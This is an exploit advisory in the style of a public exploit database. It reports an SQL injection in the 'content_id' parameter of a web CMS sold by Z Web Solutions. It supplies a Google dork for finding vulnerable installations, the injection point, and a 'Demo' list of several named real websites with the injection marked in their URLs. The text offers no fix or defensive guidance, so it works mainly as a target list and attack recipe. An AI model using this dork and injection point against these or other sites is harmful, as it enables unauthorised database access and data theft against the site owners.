# Exploit Title : Website Design and SEO Services from Z Web Solutions SQL Injection Vulnerability # Date : 2018-06-08 # Exploit Author : Iran Cyber Security Group # Vendor Homepage : www.zweb123.com # Google Dork : "Website Design and SEO Services from Z Web Solutions" # category : webapps # Tested on : Win7 , Kali Linux # Exploit : /index.php?content_id=[SQL Injection] Proof of Concept : search google Dork : "Website Design and SEO Services from Z Web Solutions" Demo : http://www.surmountlab.com/index.php?content_id=57' [Sql injection Vulnerability] &option=cms http://www.fibrochemindustries.com/index.php?content_id=2529&title=Our%20Products&menu_id=3228'[Sql injection Vulnerability]&option=cms http://www.environindia.net/index.php?content_id= http://www.shreehardwarestores.com/index.php?content_id= http://www.metabolicerrors.com/index.php?content_id= # Discovered by : Mr_null